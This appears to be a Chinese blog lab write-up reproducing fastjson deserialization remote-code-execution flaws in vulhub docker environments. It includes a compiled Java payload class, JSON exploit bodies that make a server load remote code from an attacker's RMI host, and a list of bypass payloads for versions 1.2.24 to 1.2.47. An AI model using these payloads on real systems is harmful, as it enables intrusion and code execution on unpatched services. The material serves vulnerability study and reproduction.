fastjson漏洞复现
文章最后更新时间为:2019年09月29日 19:44:40
公司的web项目全是java写的,作为java菜鸟,迫不得已来看fastjson的漏洞了,但分析是不可能会分析的,只能看看分析文章,复现一下勉强维持生活这样子。
1. 背景
fastjson是Alibaba开发的,java语言编写的高性能JSON库,采用“假定有序快速匹配”的算法,号称Java语言中最快的JSON库。
其项目地址为https://github.com/alibaba/fastjson,其提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化。示例代码:
//序列化
User user = new User("guest",2);
String jsonString = JSON.toJSONString(user)
//反序列化
String jsonString = "{\\"name\\":\\"guest\\",\\"age\\":12}"
User user = (User)JSON.parse(jsonString)
其最近几年爆出的漏洞影响都比较大,下面开始复现工程师的本职工作。
2. 20170315第一次爆出的漏洞
2017年3月15日,Alibaba官方发布了一条安全更新:https://github.com/alibaba/fastjson/wiki/security_update_20170315。宣布fastjson<=1.2.24存在远程代码执行高危安全漏洞。
利用原理如下:
因为fastjson在处理以@type形式传入的类的时候,会默认调用该类的共有set\get\is函数,因此我们在寻找利用类的时候思路如下:
1、类的成员变量我们可以控制;
2、想办法在调用类的某个set\get\is函数的时候造成命令执行。
于是便找到了JdbcRowSetImpl类,该类在setAutoCommit函数中会对成员变量dataSourceName进行lookup,标准的jndi注入利用。(jndi注入是什么可以看下https://paper.seebug.org/417/)
其利用栈如下:
Exec:620,Runtime //命令执行
Lookup:417,InitalContext /jndi lookup函数通过rmi或者ldap获取恶意类
setAutoCommit:4067,JdbcRowSetImpl 通过setAutoCommit从而在后面触发了lookup函数
setValue:96,FieldDeserializer //反射调用传入类的set函数
deserialze:600, JavaBeanDeserializer 通过循环调用传入类的共有set,get,is函数
parseObject:368,DefaultJSONParser 解析传入的json字符串
原理大概就那么多,接下来搭建环境复现一下,采用docker(https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce)搭建即可。
docker启动后,我们向这个地址POST一个JSON对象,看下是否正常
正常启动docker环境后。我们开始本地构造poc。
首先创建一个TouchFile.java:
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
然后编译,启动一个web服务器
这样访问http://10.133.139.130:3333/TouchFile.class就可以访问到class文件。
然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class
这样我们在burp里面post如下的包:
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://10.133.139.130:9999/TouchFile",
"autoCommit":true
}
}
结果:
成功执行代码。
3. 2019最新rce漏洞
2019年七月份,官方公布了fastjson< 1.2.48 版本存在的rce安全问题,该漏洞已在2018 10月完成修复,但是没有公布,直到有人发了issue,官方才公布出来:https://github.com/alibaba/fastjson/wiki/update_faq_20190722
在第一次漏洞出来之后,官方已经做了修复,后续的漏洞就是补丁的绕过而造成的。
补丁其实就是增加了一个函数checkAutoType,函数对传入的类名进行了长度和黑名单的限制。最新漏洞的原理是利用@type加载dedserializers中的java.lang.class类,里面传参要添加的类,从而调用TypeUtils.loadClass()类来添加com.sun.rowset.jdbcRowSetlmpl类到mapping函数里,最后实现调用@type的值,所以说2019的POC就是比2017的POC多了一个json键值对,就是第一个键值对作用是用来添加要用到的类到mapping缓存函数中,来实现对第二个键值对的使用
(emmm,貌似不太懂,我们还是继续来复现工程师的工作。)
还是利用vulhub的docker:https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce
过程和上面基本一致,最终要post的包为:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://10.133.139.130:9999/Exploit",
"autoCommit":true
}
}
4. 快速探测是否存在漏洞
对于不同的jdk版本,其JNDI注入方式也不同,但是我们可以快速探测漏洞是否存在,如何利用就是后面的事情了。
我们直接使用nc监听rmi服务端口即可,接收到如下请求说明存在JNDI注入。(也可以使用dnslog快速探查)
以下是一些版本的绕过poc:
来源于 https://github.com/shengqi158/fastjson-remote-code-execute-poc
1.2.24
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true}}
未知版本(1.2.24-41之间)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
1.2.41
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
1.2.42
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true};
1.2.43
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true]}
1.2.45
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
1.2.47
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}}